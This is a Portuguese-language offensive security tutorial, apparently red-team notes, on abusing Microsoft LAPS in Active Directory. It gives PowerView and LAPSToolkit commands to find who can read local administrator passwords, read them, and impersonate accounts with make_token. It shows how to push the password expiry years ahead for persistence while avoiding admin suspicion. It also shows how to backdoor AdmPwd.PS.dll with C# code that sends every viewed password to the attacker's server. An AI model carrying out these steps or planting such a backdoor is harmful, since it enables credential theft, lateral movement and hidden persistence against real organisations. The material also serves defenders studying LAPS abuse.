LAPS (Local Administrator Password Solution)

LAPS

Quando uma empresa usa uma imagem padrão para todas as máquinas, pode acabar gerando uma única senha para a conta de Administrador local, então caso essa senha seja comprometida, é possível se mover lateralmente com facilidade. LAPS é uma solução da Microsoft para gerenciar as credenciais de uma conta de administrador local em cada máquina, seja o RID 500 padrão ou uma conta personalizada. Ele garante que a senha de cada conta seja diferente, aleatória e alterada automaticamente de acordo com um cronograma definido. A permissão para solicitar e redefinir as credenciais pode ser delegada, o que também é auditável. Em um resumo rápido, o LAPS funciona da seguinte maneira:

  • O Schema do Active Directory é estendido e adiciona duas novas propriedades aos objetos do computador, chamadas ms-Mcs-AdmPwd e ms-Mcs-AdmPwdExpirationTime

  • Por padrão, a DACL em ms-Mcs-AdmPwd concede acesso de leitura apenas aos administradores de Domínio. Cada objeto de computador recebe permissão para atualizar essas propriedades em si mesmo

  • Os direitos de leitura do AdmPwd podem ser delegados a outros principais (usuários, grupos, etc.), o que normalmente é feito no nível da OU

  • Um novo modelo de GPO é instalado e é usado para implantar a configuração LAPS em máquinas (políticas diferentes podem ser aplicadas em OUs diferentes)

  • O cliente LAPS também é instalado em todas as máquinas (normalmente distribuído via GPO ou solução de gerenciamento de software de terceiros)

  • Quando uma máquina executa um gpupdate, ela verifica a propriedade AdmPwdExpirationTime em seu próprio objeto de computador no AD. Se o tempo tiver decorrido, ele gerará uma nova senha (com base na política LAPS) e a definirá na propriedade ms-Mcs-AdmPwd

Existem alguns métodos para detectar a presença de LAPS. Uma das maneiras é verificando a existência do arquivo C:\Program Files\LAPS\CSE\AdmPwd.dll. Outra maneira é procurando GPO's que tenham "LAPS" (ou algum termo semelhante) em seu nome. Guarde os valores da saída do comando abaixo para utilizar em comando futuros.

powershell-import <C:\path\to\PowerSploit\Recon\PowerView.ps1>
powershell Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl

Assim como objetos de computador onde a propriedade ms-Mcs-AdmPwdExpirationTime não é nula (qualquer usuário do Domínio pode ler esta propriedade).

powershell Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName

Se localizarmos a GPO correta, poderemos baixar a configuração LAPS do gpcfilesyspath

ls <gpcfilesyspath>\Machine
download <gpcfilesyspath>\Machine\Registry.pol

Agora vá no Menu View > Downloads, selecione Resgitry.pol e depois clique em Sync Files. Esse arquivo não é legível, porém podemos utilizar o cmdlet Parse-PolFile do pacote GPRegistryPolicyParser para converter esse arquivo em um formato legível. Execute no Powershell, fora do CS

Parse-PolFile <C:\path\to\Registry.pol>

Com a saída do comando acima, podemos ver o seguintes itens (olhe o nome do campo ValueName o seu valor em ValueData):

  • A complexidade de caracteres da senha. O valor 3 significa que é necessário ter letras maiúsculas, minúsculas e números

  • O comprimento da senha (quantidade de caracteres)

  • Em quantos dias a senha são alteradas

  • O nome da conta gerenciada do LAPS

  • Se o valor for 1, significa que está desativada a proteção contra expiração de senha (mais detalhes a seguir)

Lendo ms-Mcs-AdmPwd

Verificando permissão para ler o atributo ms-Mcs-AdmPwd, lendo sua DACL em cada objeto do computador

powershell-import <C:\path\to\PowerSploit\Recon\PowerView.ps1>
powershell Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn, SecurityIdentifier

Agora execute o comando abaixo para saber de quem são o(s) SID(s) encontrados

powershell ConvertFrom-SID <SID>

Procurando em cada OU, grupos de domínio que tenham acesso de leitura delegado

powershell-import <C:\path\to\LAPSToolkit\LAPSToolkit.ps1>
powershell Find-LAPSDelegatedGroups

Indo um pouco mais fundo e consultando em cada computador, usuários que tenham All Extended Rights (Todos os direitos estendidos). Isso revelará todos os usuários que podem ler o atributo sem que ele tenha sido especificamente delegado a eles.

powershell-import <C:\path\to\PowerSploit\Recon\PowerView.ps1>
powershell Get-DomainComputer -Identity <hostname> -Properties ms-Mcs-AdmPwd

Com o resultado do comando acima, utilize o make_token para aproveitá-lo

make_token .\LapsAdmin <ms-mcs-admpwd>

Proteção de Expiração de Senha

Existe uma configuração de política LAPS chamada Do not allow password expiration time longer than required by policy (Não permitir tempo de expiração de senha maior que o exigido pela política), que em resumo é a configuração PwdExpirationProtectionEnabled que lemos no arquivo Registry.pol. Quando habilitada, esta política impede que um usuário ou computador defina a data de expiração de uma senha além da idade da senha especificada na configuração PasswordAgeDays. Também lemos no Registry.pol que isso está definido para 30 dias. Por exemplo, se uma senha for definida em 1º de janeiro de 2023, sua expiração será em 31 de janeiro de 2023 (30 dias). Se a proteção contra expiração de senha estiver habilitada e tentarmos modificar sua data de expiração além de 31 de janeiro, isso acionaria uma redefinição automática dessa senha. Se a configuração de política for deixada not configured no GPO, a proteção contra expiração de senha será desabilitada por padrão. Quando conseguirmos comprometer uma máquina utilizando sua senha LAPS, podemos definir sua expiração no futuro como forma de persistência. A data de expiração é um carimbo de data/hora de 18 dígitos calculado como o número de intervalos de 100 nanossegundos decorridos desde 1º de janeiro de 1601.

powershell-import <C:\path\to\PowerSploit\Recon\PowerView.ps1>
powershell Get-DomainComputer -Identity <hostname> -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

Pegue o valor de ms-mcs-admpwdexpirationtime e converta em um valor que seja legível, utilizando o site epochconverter (llink no final da página). Para alterarmos o valor de ms-mcs-admpwdexpirationtime, primeiro precisamos elevar nosso acesso para SYSTEM e depois executar para alterar a data. O valor 136156862710000000 é equivalente ao dia 18/06/2032 (valor escolhido aleatoriamente). Altere para a data que preferir. Ao executar o comando abaixo, pode ser que receba uma mensagem poluída, parecendo ser até mesmo uma mensagem de erro. Porém atente-se ao final, onde deve ter escrito algo como: Setting 'ms-Mcs-AdmPwdExpirationTime' to '136156862710000000' for object '<hostname>$.

powershell Set-DomainObject -Identity <hostname> -Set @{'ms-Mcs-AdmPwdExpirationTime' = '136156862710000000'} -Verbose

Não deixe uma senha muito longe da data atual, pois administradores podem ver esse senha e suspeitar de algo. É possível ver esse senha através do comando abaixo (comando nativo do Powershell).

Get-AdmPwdPassword -ComputerName <hostname> | fl

Backdoor com LAPS

Existem algumas técnicas que podemos aproveitar para fazer backdoor nas ferramentas administrativas do LAPS e obter uma cópia das senhas quando visualizadas por um administrador. Se os módulos do cmdlet Get-AdmPwdPassword estiveram instalados na máquina, podemos encontrá-los em C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS.

ls C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS

Caso não o tenha instalado, execute o comando abaixo para realizar a sua instalação

Install-Module -Name AdmPwd.PS

Como o PowerShell utiliza intensamente o .NET Framework, as DLLs aqui são escritas em C#, o que as torna bastante fáceis de baixar, modificar e recarregar. Baixe os arquivos AdmPwd.PS.dll e AdmPwd.Utils.dll para a máquina atacante e abra AdmPwd.PS.dll com dnSpy. Use o Assembly Explorer para detalhar a DLL, os namespaces e as classes até encontrar o método GetPassword, que provavelmente esteja em AdmPwd.PS > AdmPwd.PS.dll > AdmPwd.PS > GetPassword. Podemos ver então que, o método DirectoryUtils.GetPasswordInfo retorna o objeto PasswordInfo. Clicando em cima dos nomes, o dnSpy irá no levar para a definição da Classe, e realizando uma pesquisa/leitura no código, é possível ver a senha em texto plano. Vamos modificar o método GetPassword, clicando o botão direito em algum lugar vazio do código-fonte do método, e em seguida clicando em Edit Method. Caso não possua, inclua using System.Net no cabeçalho do arquivo. Após a linha 18, onde temos o conteúdo base.WriteObject(passwordInfo);, adicione o trecho de código abaixo.

using (var client = new WebClient())
{
	client.BaseAddress = "http://<ip-cs>";
	try
	{
		client.DownloadString("?computer=" + passwordInfo.ComputerName + "&pass=" + passwordInfo.Password);
	}
	catch
	{
	}
}

Agora clique em Compile (no canto inferior da janela), depois vá no Menu File > Save Module e salve o arquivo (pode salvar por cima do arquivo original). Faça o upload desse arquivo modificado.

cd C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS\
upload <C:\path\to\AdmPwd.PS.dll>

Uma desvantagem dessa tática é que ela quebrará a assinatura digital da DLL, mas não impedirá que o Powershell a utilize.

powershell Get-AuthenticodeSignature *.dll

Com um usuário devidamente privilegiado, capture a senha

Get-AdmPwdPassword -ComputerName <hostname-alvo> | fl

Sites

# LAPSToolkit
https://github.com/leoloobeek/LAPSToolkit

# Epoch Converter
https://www.epochconverter.com/ldap

Last updated